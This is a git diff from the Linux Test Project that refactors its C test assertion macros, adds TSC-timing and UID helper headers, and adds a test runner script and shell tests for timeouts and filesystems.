+#define TST_EXP_POSITIVE(SCALL, ...)                                           \
+	do {                                                                   \
+		TST_EXP_POSITIVE_(SCALL, #SCALL, ##__VA_ARGS__);               \
+		                                                               \
+		if (TST_PASS) {                                                \
+			TST_MSGP_(TPASS, " returned %ld",                      \
+			          TST_RET, #SCALL, ##__VA_ARGS__);             \
+		}                                                              \
+	} while (0)
+
+#define TST_EXP_FD_SILENT(SCALL, ...)	TST_EXP_POSITIVE_(SCALL, #SCALL, ##__VA_ARGS__)
 
 #define TST_EXP_FD(SCALL, ...)                                                 \
 	do {                                                                   \
-		TST_EXP_FD_SILENT(SCALL, __VA_ARGS__);                         \
+		TST_EXP_POSITIVE_(SCALL, #SCALL, ##__VA_ARGS__);               \
 		                                                               \
 		if (TST_PASS)                                                  \
 			TST_MSGP_(TPASS, " returned fd %ld", TST_RET,          \
 				#SCALL, ##__VA_ARGS__);                        \
 	} while (0)
 
-#define TST_EXP_PID_SILENT(SCALL, ...)	TST_EXP_POSITIVE(SCALL, __VA_ARGS__)
+#define TST_EXP_FD_OR_FAIL(SCALL, ERRNO, ...)                                    \
+	do {                                                                   \
+		if (ERRNO)                                                     \
+			TST_EXP_FAIL(SCALL, ERRNO, ##__VA_ARGS__);             \
+		else                                                           \
+			TST_EXP_FD(SCALL, ##__VA_ARGS__);                      \
+		                                                               \
+	} while (0)
+
+#define TST_EXP_PID_SILENT(SCALL, ...)	TST_EXP_POSITIVE_(SCALL, #SCALL, ##__VA_ARGS__)
 
 #define TST_EXP_PID(SCALL, ...)                                                \
 	do {                                                                   \
-		TST_EXP_PID_SILENT(SCALL, __VA_ARGS__);                        \
+		TST_EXP_POSITIVE_(SCALL, #SCALL, ##__VA_ARGS__);               \
 									       \
 		if (TST_PASS)                                                  \
 			TST_MSGP_(TPASS, " returned pid %ld", TST_RET,         \
 				#SCALL, ##__VA_ARGS__);                        \
 	} while (0)
 
-#define TST_EXP_PASS_SILENT(SCALL, ...)                                        \
+#define TST_EXP_VAL_SILENT_(SCALL, VAL, SSCALL, ...)                           \
+	do {                                                                   \
+		TEST(SCALL);                                                   \
+		                                                               \
+		TST_PASS = 0;                                                  \
+		                                                               \
+		if (TST_RET != VAL) {                                          \
+			TST_MSGP2_(TFAIL | TTERRNO, " retval %ld != %ld",      \
+			          TST_RET, (long)VAL, SSCALL, ##__VA_ARGS__);  \
+			break;                                                 \
+		}                                                              \
+		                                                               \
+		TST_PASS = 1;                                                  \
+		                                                               \
+	} while (0)
+
+#define TST_EXP_VAL_SILENT(SCALL, VAL, ...) TST_EXP_VAL_SILENT_(SCALL, VAL, #SCALL, ##__VA_ARGS__)
+
+#define TST_EXP_VAL(SCALL, VAL, ...)                                           \
+	do {                                                                   \
+		TST_EXP_VAL_SILENT_(SCALL, VAL, #SCALL, ##__VA_ARGS__);        \
+		                                                               \
+		if (TST_PASS)                                                  \
+			TST_MSG_(TPASS, " passed", #SCALL, ##__VA_ARGS__);     \
+			                                                       \
+	} while(0)
+
+#define TST_EXP_PASS_SILENT_(SCALL, SSCALL, ...)                               \
 	do {                                                                   \
 		TEST(SCALL);                                                   \
 		                                                               \
@@ -98,13 +149,13 @@
 		                                                               \
 		if (TST_RET == -1) {                                           \
 			TST_MSG_(TFAIL | TTERRNO, " failed",                   \
-			         #SCALL, ##__VA_ARGS__);                       \
+			         SSCALL, ##__VA_ARGS__);                       \
 		        break;                                                 \
 		}                                                              \
 		                                                               \
 		if (TST_RET != 0) {                                            \
 			TST_MSGP_(TFAIL | TTERRNO, " invalid retval %ld",      \
-			          TST_RET, #SCALL, ##__VA_ARGS__);             \
+			          TST_RET, SSCALL, ##__VA_ARGS__);             \
 			break;                                                 \
 		}                                                              \
                                                                                \
@@ -112,42 +163,90 @@
                                                                                \
 	} while (0)
 
+#define TST_EXP_PASS_SILENT(SCALL, ...) TST_EXP_PASS_SILENT_(SCALL, #SCALL, ##__VA_ARGS__)
+
 #define TST_EXP_PASS(SCALL, ...)                                               \
 	do {                                                                   \
-		TST_EXP_PASS_SILENT(SCALL, __VA_ARGS__);                       \
+		TST_EXP_PASS_SILENT_(SCALL, #SCALL, ##__VA_ARGS__);            \
 		                                                               \
 		if (TST_PASS)                                                  \
 			TST_MSG_(TPASS, " passed", #SCALL, ##__VA_ARGS__);     \
 	} while (0)                                                            \
 
-#define TST_EXP_FAIL(SCALL, ERRNO, ...)                                        \
+#define TST_EXP_FAIL_SILENT_(PASS_COND, SCALL, SSCALL, ERRNO, ...)             \
 	do {                                                                   \
 		TEST(SCALL);                                                   \
 		                                                               \
 		TST_PASS = 0;                                                  \
 		                                                               \
-		if (TST_RET == 0) {                                            \
-			TST_MSG_(TFAIL, " succeeded", #SCALL, ##__VA_ARGS__);  \
+		if (PASS_COND) {                                               \
+			TST_MSG_(TFAIL, " succeeded", SSCALL, ##__VA_ARGS__);  \
 		        break;                                                 \
 		}                                                              \
 		                                                               \
 		if (TST_RET != -1) {                                           \
 			TST_MSGP_(TFAIL | TTERRNO, " invalid retval %ld",      \
-			          TST_RET, #SCALL, ##__VA_ARGS__);             \
+			          TST_RET, SSCALL, ##__VA_ARGS__);             \
 			break;                                                 \
 		}                                                              \
 		                                                               \
-		if (ERRNO) {                                                   \
-			if (TST_ERR == ERRNO) {                                \
-				TST_MSG_(TPASS | TTERRNO, "",                  \
-				         #SCALL, ##__VA_ARGS__);               \
-				TST_PASS = 1;                                  \
-			} else {                                               \
-				TST_MSGP_(TFAIL | TTERRNO, " expected %s",     \
-				          tst_strerrno(ERRNO),                 \
-				          #SCALL, ##__VA_ARGS__);              \
-			}                                                      \
+		if (TST_ERR == (ERRNO)) {                                      \
+			TST_PASS = 1;                                          \
+		} else {                                                       \
+			TST_MSGP_(TFAIL | TTERRNO, " expected %s",             \
+				  tst_strerrno(ERRNO),                         \
+				  SSCALL, ##__VA_ARGS__);                      \
 		}                                                              \
 	} while (0)
 
+#define TST_EXP_FAIL(SCALL, ERRNO, ...)                                        \
+	do {                                                                   \
+		TST_EXP_FAIL_SILENT_(TST_RET == 0, SCALL, #SCALL,              \
+			ERRNO, ##__VA_ARGS__);                                 \
+		if (TST_PASS)                                                  \
+			TST_MSG_(TPASS | TTERRNO, " ", #SCALL, ##__VA_ARGS__); \
+	} while (0)
+
+#define TST_EXP_FAIL2(SCALL, ERRNO, ...)                                       \
+	do {                                                                   \
+		TST_EXP_FAIL_SILENT_(TST_RET >= 0, SCALL, #SCALL,              \
+			ERRNO, ##__VA_ARGS__);                                 \
+		if (TST_PASS)                                                  \
+			TST_MSG_(TPASS | TTERRNO, " ", #SCALL, ##__VA_ARGS__); \
+	} while (0)
+
+#define TST_EXP_FAIL_SILENT(SCALL, ERRNO, ...) \
+	TST_EXP_FAIL_SILENT_(TST_RET == 0, SCALL, #SCALL, ERRNO, ##__VA_ARGS__)
+
+#define TST_EXP_FAIL2_SILENT(SCALL, ERRNO, ...) \
+	TST_EXP_FAIL_SILENT_(TST_RET >= 0, SCALL, #SCALL, ERRNO, ##__VA_ARGS__)
+
+#define TST_EXP_EXPR(EXPR, FMT, ...)						\
+	tst_res_(__FILE__, __LINE__, (EXPR) ? TPASS : TFAIL, "Expect: " FMT, ##__VA_ARGS__);
+
+#define TST_EXP_EQ_(VAL_A, SVAL_A, VAL_B, SVAL_B, TYPE, PFS) do {\
+	TYPE tst_tmp_a__ = VAL_A; \
+	TYPE tst_tmp_b__ = VAL_B; \
+	if (tst_tmp_a__ == tst_tmp_b__) { \
+		tst_res_(__FILE__, __LINE__, TPASS, \
+			SVAL_A " == " SVAL_B " (" PFS ")", tst_tmp_a__); \
+	} else { \
+		tst_res_(__FILE__, __LINE__, TFAIL, \
+			SVAL_A " (" PFS ") != " SVAL_B " (" PFS ")", \
+			tst_tmp_a__, tst_tmp_b__); \
+	} \
+} while (0)
+
+#define TST_EXP_EQ_LI(VAL_A, VAL_B) \
+		TST_EXP_EQ_(VAL_A, #VAL_A, VAL_B, #VAL_B, long long, "%lli")
+
+#define TST_EXP_EQ_LU(VAL_A, VAL_B) \
+		TST_EXP_EQ_(VAL_A, #VAL_A, VAL_B, #VAL_B, unsigned long long, "%llu")
+
+#define TST_EXP_EQ_SZ(VAL_A, VAL_B) \
+		TST_EXP_EQ_(VAL_A, #VAL_A, VAL_B, #VAL_B, size_t, "%zu")
+
+#define TST_EXP_EQ_SSZ(VAL_A, VAL_B) \
+		TST_EXP_EQ_(VAL_A, #VAL_A, VAL_B, #VAL_B, ssize_t, "%zi")
+
 #endif	/* TST_TEST_MACROS_H__ */
diff --git a/include/tst_timer.h b/include/tst_timer.h
index ea5e20d..f5631e6 100644
--- a/include/tst_timer.h
+++ b/include/tst_timer.h
@@ -122,10 +122,12 @@
 };
 #endif
 
+#ifndef HAVE_STRUCT___KERNEL_OLD_ITIMERSPEC
 struct __kernel_old_itimerspec {
 	struct __kernel_old_timespec it_interval;    /* timer period */
 	struct __kernel_old_timespec it_value;       /* timer expiration */
 };
+#endif
 
 #ifndef HAVE_STRUCT___KERNEL_ITIMERSPEC
 struct __kernel_itimerspec {
diff --git a/include/tst_tsc.h b/include/tst_tsc.h
new file mode 100644
index 0000000..3f49a6c
--- /dev/null
+++ b/include/tst_tsc.h
@@ -0,0 +1,53 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright © International Business Machines  Corp., 2006-2008
+ *
+ * AUTHOR
+ *        Darren Hart <dvhltc@us.ibm.com>
+ *        Giuseppe Cavallaro <peppe.cavallarost.com>
+ *
+ * HISTORY
+ *      It directly comes from the librttest.h (see its HISTORY).
+ */
+
+#ifndef TST_TSC_H
+#define TST_TSC_H
+
+#undef TSC_UNSUPPORTED
+
+/* TSC macros */
+#if defined(__i386__)
+#define rdtscll(val) __asm__ __volatile__("rdtsc" : "=A" (val))
+#elif defined(__x86_64__)
+#define rdtscll(val)					\
+	do {						\
+		uint32_t low, high;			\
+		__asm__ __volatile__ ("rdtsc" : "=a" (low), "=d" (high)); \
+		val = (uint64_t)high << 32 | low;	\
+	} while (0)
+#elif defined(__powerpc__)
+#if defined(__powerpc64__)	/* 64bit version */
+#define rdtscll(val)					\
+	do {								\
+		__asm__ __volatile__ ("mfspr %0, 268" : "=r" (val));	\
+	} while (0)
+#else	/*__powerpc__ 32bit version */
+#define rdtscll(val)							\
+	 do {								\
+		uint32_t tbhi, tblo ;					\
+		__asm__ __volatile__ ("mftbu %0" : "=r" (tbhi));	\
+		__asm__ __volatile__ ("mftbl %0" : "=r" (tblo));	\
+		val = 1000 * ((uint64_t) tbhi << 32) | tblo;		\
+	} while (0)
+#endif
+#else
+#warning TSC UNSUPPORTED
+/* All tests will be compiled also for the
+ * architecture without TSC support (e.g. SH).
+ * At run-time these will fail with ENOTSUP.
+ */
+#define rdtscll(val)	do {  } while (0)
+#define TSC_UNSUPPORTED
+#endif
+
+#endif
diff --git a/include/tst_uid.h b/include/tst_uid.h
new file mode 100644
index 0000000..e604eff
--- /dev/null
+++ b/include/tst_uid.h
@@ -0,0 +1,40 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later
+ * Copyright (c) 2021 Linux Test Project
+ */
+
+#ifndef TST_UID_H_
+#define TST_UID_H_
+
+#include <sys/types.h>
+
+/*
+ * Find unassigned gid. The skip argument can be used to ignore e.g. the main
+ * group of a specific user in case it's not listed in the group file. If you
+ * do not need to skip any specific gid, simply set it to 0.
+ */
+gid_t tst_get_free_gid_(const char *file, const int lineno, gid_t skip);
+#define tst_get_free_gid(skip) tst_get_free_gid_(__FILE__, __LINE__, (skip))
+
+/*
+ * Get a specific number of unique existing non-root user or group IDs.
+ * The "start" parameter is the number of buffer entries that are already
+ * filled and will not be modified. The function will fill the remaining
+ * (size-start) entries with unique UID/GID values.
+ */
+void tst_get_uids(uid_t *buf, unsigned int start, unsigned int size);
+void tst_get_gids(gid_t *buf, unsigned int start, unsigned int size);
+
+/*
+ * Helper functions for checking current proces UIDs/GIDs.
+ */
+int tst_check_resuid_(const char *file, const int lineno, const char *callstr,
+	uid_t exp_ruid, uid_t exp_euid, uid_t exp_suid);
+#define tst_check_resuid(cstr, ruid, euid, suid) \
+	tst_check_resuid_(__FILE__, __LINE__, (cstr), (ruid), (euid), (suid))
+
+int tst_check_resgid_(const char *file, const int lineno, const char *callstr,
+	gid_t exp_rgid, gid_t exp_egid, gid_t exp_sgid);
+#define tst_check_resgid(cstr, rgid, egid, sgid) \
+	tst_check_resgid_(__FILE__, __LINE__, (cstr), (rgid), (egid), (sgid))
+
+#endif /* TST_UID_H_ */
diff --git a/lib/Makefile b/lib/Makefile
index f019432..9b9906f 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -1,24 +1,6 @@
-#
-#    lib Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ..
 
diff --git a/lib/README.md b/lib/README.md
index cc7f706..ccb1cf1 100644
--- a/lib/README.md
+++ b/lib/README.md
@@ -102,7 +102,7 @@
 
 Once the test process exits or leaves the run() or run\_all() function the test
 library wakes up from the waitpid() call, and checks if the test process
-exitted normally.
+exited normally.
 
 Once the testrun is finished the test library does a cleanup() as well to clean
 up resources set up in the test library setup(), reports test results and
diff --git a/lib/cloner.c b/lib/cloner.c
index 11401f2..95954f6 100644
--- a/lib/cloner.c
+++ b/lib/cloner.c
@@ -50,11 +50,6 @@
                     pid_t *parent_tid, void *tls, pid_t *child_tid);
 #endif
 
-#ifndef CLONE_SUPPORTS_7_ARGS
-# define clone(fn, stack, flags, arg, ptid, tls, ctid) \
-         clone(fn, stack, flags, arg)
-#endif
-
 /*
  * ltp_clone: wrapper for clone to hide the architecture dependencies.
  *   1. hppa takes bottom of stack and no stacksize (stack grows up)
@@ -109,12 +104,7 @@
 	ctid = va_arg(arg_clone, pid_t *);
 	va_end(arg_clone);
 
-#ifdef CLONE_SUPPORTS_7_ARGS
 	return ltp_clone_(flags, fn, arg, stack_size, stack, ptid, tls, ctid);
-#else
-	errno = ENOSYS;
-	return -1;
-#endif
 }
 
 /*
diff --git a/lib/newlib_tests/.gitignore b/lib/newlib_tests/.gitignore
index b95ead2..0256bef 100644
--- a/lib/newlib_tests/.gitignore
+++ b/lib/newlib_tests/.gitignore
@@ -7,13 +7,10 @@
 test07
 test08
 test09
-test10
 test11
-test12
 test13
 test14
 test15
-test16
 tst_capability01
 tst_capability02
 tst_cgroup01
@@ -22,8 +19,7 @@
 tst_safe_fileops
 tst_res_hexd
 tst_strstatus
-test17
-test18
+tst_print_result
 test19
 test20
 test22
@@ -41,5 +37,22 @@
 test_macros01
 test_macros02
 test_macros03
+test_macros04
+test_macros05
+test_macros06
 tst_fuzzy_sync01
 tst_fuzzy_sync02
+tst_fuzzy_sync03
+test_zero_hugepage
+test_parse_filesize
+tst_needs_cmds01
+tst_needs_cmds02
+tst_needs_cmds03
+tst_needs_cmds04
+tst_needs_cmds05
+tst_needs_cmds06
+tst_needs_cmds07
+tst_needs_cmds08
+test_runtime01
+test_runtime02
+test_children_cleanup
diff --git a/lib/newlib_tests/Makefile b/lib/newlib_tests/Makefile
index 7acdd1f..1fbf764 100644
--- a/lib/newlib_tests/Makefile
+++ b/lib/newlib_tests/Makefile
@@ -1,3 +1,4 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 top_srcdir		?= ../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
@@ -5,14 +6,8 @@
 CFLAGS			+= -W -Wall
 LDLIBS			+= -lltp
 
-test08: CFLAGS+=-pthread
-test09: CFLAGS+=-pthread
-test15: CFLAGS+=-pthread
-test16: CFLAGS+=-pthread
-test16: LDLIBS+=-lrt
-tst_expiration_timer: LDLIBS+=-lrt
-tst_fuzzy_sync01: CFLAGS+=-pthread
-tst_fuzzy_sync02: CFLAGS+=-pthread
+test08 test09 test15 tst_fuzzy_sync01 tst_fuzzy_sync02 tst_fuzzy_sync03: CFLAGS += -pthread
+tst_expiration_timer tst_fuzzy_sync03: LDLIBS += -lrt
 
 ifeq ($(ANDROID),1)
 FILTER_OUT_MAKE_TARGETS	+= test08
diff --git a/lib/newlib_tests/config07 b/lib/newlib_tests/config07
new file mode 100644
index 0000000..3310d57
--- /dev/null
+++ b/lib/newlib_tests/config07
@@ -0,0 +1,5 @@
+# The default hostname value mismatch
+CONFIG_MMU=y
+CONFIG_EXT4_FS=m
+CONFIG_PGTABLE_LEVELS=4
+CONFIG_DEFAULT_HOSTNAME=m
diff --git a/lib/newlib_tests/runtest.sh b/lib/newlib_tests/runtest.sh
new file mode 100755
index 0000000..e78b556
--- /dev/null
+++ b/lib/newlib_tests/runtest.sh
@@ -0,0 +1,192 @@
+#!/bin/sh
+# Copyright (c) 2021 Petr Vorel <pvorel@suse.cz>
+
+LTP_C_API_TESTS="${LTP_C_API_TESTS:-test05 test07 test09 test15 test_runtime01
+tst_needs_cmds01 tst_needs_cmds02 tst_needs_cmds03 tst_needs_cmds06
+tst_needs_cmds07 tst_bool_expr test_exec test_timer tst_res_hexd tst_strstatus
+tst_fuzzy_sync03 test_zero_hugepage.sh test_kconfig.sh
+test_children_cleanup.sh}"
+
+LTP_SHELL_API_TESTS="${LTP_SHELL_API_TESTS:-shell/tst_check_driver.sh
+shell/tst_check_kconfig0[1-5].sh shell/net/*.sh}"
+
+cd $(dirname $0)
+PATH="$PWD/../../testcases/lib/:$PATH"
+
+. tst_ansi_color.sh
+
+usage()
+{
+	cat << EOF
+Usage: $0 [-b DIR ] [-c|-s]
+-b DIR  build directory (required for out-of-tree build)
+-c      run C API tests only
+-s      run shell API tests only
+-h      print this help
+EOF
+}
+
+tst_flag2mask()
+{
+	case "$1" in
+	TPASS) return 0;;
+	TFAIL) return 1;;
+	TBROK) return 2;;
+	TWARN) return 4;;
+	TINFO) return 16;;
+	TCONF) return 32;;
+	esac
+}
+
+runtest_res()
+{
+	if [ $# -eq 0 ]; then
+		echo >&2
+		return
+	fi
+
+	local res="$1"
+	shift
+
+	printf "runtest " >&2
+	tst_print_colored $res "$res: " >&2
+	echo "$@" >&2
+
+}
+
+runtest_brk()
+{
+	local res="$1"
+	shift
+
+	tst_flag2mask "$res"
+	local mask=$?
+
+	runtest_res
+	runtest_res $res $@
+
+	exit $mask
+}
+
+run_tests()
+{
+	local target="$1"
+	local srcdir="$2"
+	local dir i res ret=0 tbrok tconf tfail tpass twarn vars
+
+	eval vars="\$LTP_${target}_API_TESTS"
+
+	runtest_res TINFO "=== Run $target tests ==="
+
+	for i in $vars; do
+		runtest_res TINFO "* $i"
+		if [ -f "$i" ]; then
+			dir="."
+		elif [ "$srcdir" -a -f "$srcdir/$i" ]; then
+			dir="$srcdir"
+		else
+			runtest_brk TBROK "Error: $i file not found (PWD: $PWD)"
+		fi
+
+		$dir/$i 1>&2
+		res=$?
+
+		[ $res -ne 0 -a $res -ne 32 ] && ret=1
+
+		case $res in
+			0) tpass="$tpass $i";;
+			1) tfail="$tfail $i";;
+			2) tbrok="$tbrok $i";;
+			4) twarn="$twarn $i";;
+			32) tconf="$tconf $i";;
+			127) runtest_brk TBROK "Error: file not found (wrong PATH? out-of-tree build without -b?), exit code: $res";;
+			*) runtest_brk TBROK "Error: unknown failure, exit code: $res";;
+		esac
+		runtest_res
+	done
+
+	runtest_res TINFO "=== $target TEST RESULTS ==="
+	runtest_res TINFO "$(echo $tpass | wc -w)x TPASS:$tpass"
+	runtest_res TINFO "$(echo $tfail | wc -w)x TFAIL:$tfail"
+	runtest_res TINFO "$(echo $tbrok | wc -w)x TBROK:$tbrok"
+	runtest_res TINFO "$(echo $twarn | wc -w)x TWARN:$twarn"
+	runtest_res TINFO "$(echo $tconf | wc -w)x TCONF:$tconf"
+	runtest_res
+
+	return $ret
+}
+
+run_c_tests()
+{
+	local ret srcdir="$PWD"
+
+	if [ "$builddir" ]; then
+		cd $builddir/lib/newlib_tests
+	fi
+
+	run_tests "C" "$srcdir"
+	ret=$?
+
+	if [ "$builddir" ]; then
+		cd "$srcdir"
+	fi
+
+	return $ret
+}
+
+run_shell_tests()
+{
+	run_tests "SHELL"
+}
+
+
+print_result()
+{
+	local target="$1"
+	local res="$2"
+
+
+	if [ -z "$res" ]; then
+		runtest_res TCONF "$target tests skipped"
+	elif [ $res -eq 0 ]; then
+		runtest_res TPASS "All $target tests TCONF/TPASS"
+	else
+		runtest_res TFAIL "Some $target test(s) TBROK/TFAIL/TWARN"
+	fi
+}
+
+builddir=
+c_fail=
+run=
+shell_fail=
+
+while getopts b:chs opt; do
+	case $opt in
+		'h') usage; exit 0;;
+		'b') builddir=$OPTARG; PATH="$builddir/testcases/lib:$PATH";;
+		'c') run="c";;
+		's') run="s";;
+		*) usage; runtest_brk TBROK "Error: invalid option";;
+	esac
+done
+
+runtest_res TINFO "PATH='$PATH'"
+
+if [ -z "$run" -o "$run" = "c" ]; then
+	run_c_tests
+	c_fail=$?
+fi
+
+if [ -z "$run" -o "$run" = "s" ]; then
+	export KCONFIG_PATH=config02
+	runtest_res TINFO "KCONFIG_PATH='$KCONFIG_PATH'"
+	run_shell_tests
+	shell_fail=$?
+fi
+
+runtest_res TINFO "=== FINAL TEST RESULTS ==="
+
+print_result "C" "$c_fail"
+print_result "shell" "$shell_fail"
+
+exit $((c_fail|shell_fail))
diff --git a/lib/newlib_tests/shell/net/tst_ipaddr_un.sh b/lib/newlib_tests/shell/net/tst_ipaddr_un.sh
index 512d6d8..76875e2 100755
--- a/lib/newlib_tests/shell/net/tst_ipaddr_un.sh
+++ b/lib/newlib_tests/shell/net/tst_ipaddr_un.sh
@@ -7,10 +7,12 @@
 
 PATH="$(dirname $0)/../../../../testcases/lib/:$PATH"
 
-# workaround to disable netns initialization
-RHOST="foo"
+TST_NET_SKIP_VARIABLE_INIT=1
 
-. tst_net.sh
+# from tst_net_vars.c
+IPV4_NET16_UNUSED="10.23"
+IPV6_NET32_UNUSED="fd00:23"
+
 
 IPV4_DATA="
 0 0|10.23.0.0
@@ -165,4 +167,5 @@
 	esac
 }
 
+. tst_net.sh
 tst_run
diff --git a/lib/newlib_tests/shell/net/tst_rhost_run.sh b/lib/newlib_tests/shell/net/tst_rhost_run.sh
index 119247f..773b8dd 100755
--- a/lib/newlib_tests/shell/net/tst_rhost_run.sh
+++ b/lib/newlib_tests/shell/net/tst_rhost_run.sh
@@ -4,7 +4,6 @@
 
 TST_TESTFUNC=do_test
 PATH="$(dirname $0)/../../../../testcases/lib/:$PATH"
-. tst_net.sh
 
 export TST_NET_RHOST_RUN_DEBUG=1
 
@@ -24,4 +23,5 @@
 	tst_res TPASS "tst_rhost_run is working"
 }
 
+. tst_net.sh
 tst_run
diff --git a/lib/newlib_tests/shell/test_timeout.sh b/lib/newlib_tests/shell/test_timeout.sh
index b05680c..c70e22f 100755
--- a/lib/newlib_tests/shell/test_timeout.sh
+++ b/lib/newlib_tests/shell/test_timeout.sh
@@ -28,7 +28,7 @@
 timeout02.sh| -0.1|0|  |0
 timeout02.sh| -1.1|0|  |2
 timeout02.sh|-10.1|0|  |2
-timeout03.sh|     |0|12|137| | | |Test kill if test does not terminate by SIGINT
+timeout03.sh|     |0|12|137| | | |Test is killed, if it does not terminate after SIGTERM
 timeout04.sh|     |0|  |  2|0|0|1|Verify that timeout is enforced
 timeout02.sh|    2|1| 2|   |1|0|0|Test termination of timeout process
 "
diff --git a/lib/newlib_tests/shell/timeout01.sh b/lib/newlib_tests/shell/timeout01.sh
index 8f0971a..6945f61 100755
--- a/lib/newlib_tests/shell/timeout01.sh
+++ b/lib/newlib_tests/shell/timeout01.sh
@@ -5,11 +5,11 @@
 TST_TESTFUNC=do_test
 
 TST_TIMEOUT=-1
-. tst_test.sh
 
 do_test()
 {
 	tst_res TPASS "timeout $TST_TIMEOUT set"
 }
 
+. tst_test.sh
 tst_run
diff --git a/lib/newlib_tests/shell/timeout02.sh b/lib/newlib_tests/shell/timeout02.sh
index 47e7a2d..cc8cce5 100755
--- a/lib/newlib_tests/shell/timeout02.sh
+++ b/lib/newlib_tests/shell/timeout02.sh
@@ -5,11 +5,11 @@
 TST_TESTFUNC=do_test
 
 TST_TIMEOUT=2
-. tst_test.sh
 
 do_test()
 {
 	tst_res TPASS "timeout $TST_TIMEOUT set (LTP_TIMEOUT_MUL='$LTP_TIMEOUT_MUL')"
 }
 
+. tst_test.sh
 tst_run
diff --git a/lib/newlib_tests/shell/timeout03.sh b/lib/newlib_tests/shell/timeout03.sh
index cd548d9..811ce75 100755
--- a/lib/newlib_tests/shell/timeout03.sh
+++ b/lib/newlib_tests/shell/timeout03.sh
@@ -2,31 +2,32 @@
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2021 Petr Vorel <pvorel@suse.cz>
 
-# testing shell timeout handling in _tst_kill_test()
+# testing shell timeout handling in tst_timeout_kill
 # expected output:
 # timeout03 1 TINFO: timeout per run is 0h 0m 1s
 # timeout03 1 TINFO: testing killing test after TST_TIMEOUT
-# timeout03 1 TBROK: Test timeouted, sending SIGINT! If you are running on slow machine, try exporting LTP_TIMEOUT_MUL > 1
-# timeout03 1 TBROK: test interrupted or timed out
+# Test timed out, sending SIGTERM!
+# If you are running on slow machine, try exporting LTP_TIMEOUT_MUL > 1
+# Terminated
+# timeout03 1 TBROK: test terminated
 # timeout03 1 TPASS: test run cleanup after timeout
-# timeout03 1 TINFO: Test is still running, waiting 10s
-# timeout03 1 TINFO: Test is still running, waiting 9s
-# timeout03 1 TINFO: Test is still running, waiting 8s
-# timeout03 1 TINFO: Test is still running, waiting 7s
-# timeout03 1 TINFO: Test is still running, waiting 6s
-# timeout03 1 TINFO: Test is still running, waiting 5s
-# timeout03 1 TINFO: Test is still running, waiting 4s
-# timeout03 1 TINFO: Test is still running, waiting 3s
-# timeout03 1 TINFO: Test is still running, waiting 2s
-# timeout03 1 TINFO: Test is still running, waiting 1s
-# timeout03 1 TBROK: Test still running, sending SIGKILL
+# Test is still running... 10
+# Test is still running... 9
+# Test is still running... 8
+# Test is still running... 7
+# Test is still running... 6
+# Test is still running... 5
+# Test is still running... 4
+# Test is still running... 3
+# Test is still running... 2
+# Test is still running... 1
+# Test is still running, sending SIGKILL
 # Killed
 
 TST_TESTFUNC=do_test
 TST_CLEANUP=cleanup
 
 TST_TIMEOUT=1
-. tst_test.sh
 
 do_test()
 {
@@ -44,4 +45,5 @@
 	tst_res TFAIL "cleanup: running after TST_TIMEOUT"
 }
 
+. tst_test.sh
 tst_run
diff --git a/lib/newlib_tests/shell/timeout04.sh b/lib/newlib_tests/shell/timeout04.sh
index c702905..eb41c2c 100755
--- a/lib/newlib_tests/shell/timeout04.sh
+++ b/lib/newlib_tests/shell/timeout04.sh
@@ -5,7 +5,6 @@
 TST_TESTFUNC=do_test
 
 TST_TIMEOUT=1
-. tst_test.sh
 
 do_test()
 {
@@ -19,4 +18,5 @@
     tst_res TINFO "cleanup"
 }
 
+. tst_test.sh
 tst_run
diff --git a/lib/newlib_tests/shell/tst_all_filesystems.sh b/lib/newlib_tests/shell/tst_all_filesystems.sh
new file mode 100755
index 0000000..7561579
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_all_filesystems.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
+
+TST_ALL_FILESYSTEMS=1
+TST_MOUNT_DEVICE=1
+TST_NEEDS_ROOT=1
+TST_TESTFUNC=test
+TST_CNT=2
+
+test1()
+{
+	tst_res TPASS "device using filesystem"
+}
+
+test2()
+{
+	EXPECT_PASS "grep -E '$TST_MNTPOINT ($TST_FS_TYPE|fuseblk)' /proc/mounts"
+}
+
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/shell/tst_all_filesystems_skip.sh b/lib/newlib_tests/shell/tst_all_filesystems_skip.sh
new file mode 100755
index 0000000..9516f38
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_all_filesystems_skip.sh
@@ -0,0 +1,17 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
+
+TST_ALL_FILESYSTEMS=1
+TST_MOUNT_DEVICE=1
+TST_NEEDS_ROOT=1
+TST_TESTFUNC=test
+TST_SKIP_FILESYSTEMS="btrfs,exfat,ext2,ext3,ext4,fuse,ntfs,vfat,tmpfs,xfs"
+
+test1()
+{
+	tst_res TFAIL "test should be skipped with TCONF"
+}
+
+. tst_test.sh
+tst_run
diff --git a/lib/newlib_tests/shell/tst_check_driver.sh b/lib/newlib_tests/shell/tst_check_driver.sh
index d188b6f..784c5d2 100755
--- a/lib/newlib_tests/shell/tst_check_driver.sh
+++ b/lib/newlib_tests/shell/tst_check_driver.sh
@@ -4,9 +4,8 @@
 
 TST_TESTFUNC=test
 TST_SETUP=setup
-TST_CNT=3
+TST_CNT=4
 TST_NEEDS_CMDS="tst_check_drivers find grep head sed"
-. tst_test.sh
 
 MODULES_DIR="${MODULES_DIR:-/lib/modules/$(uname -r)}"
 
@@ -54,10 +53,20 @@
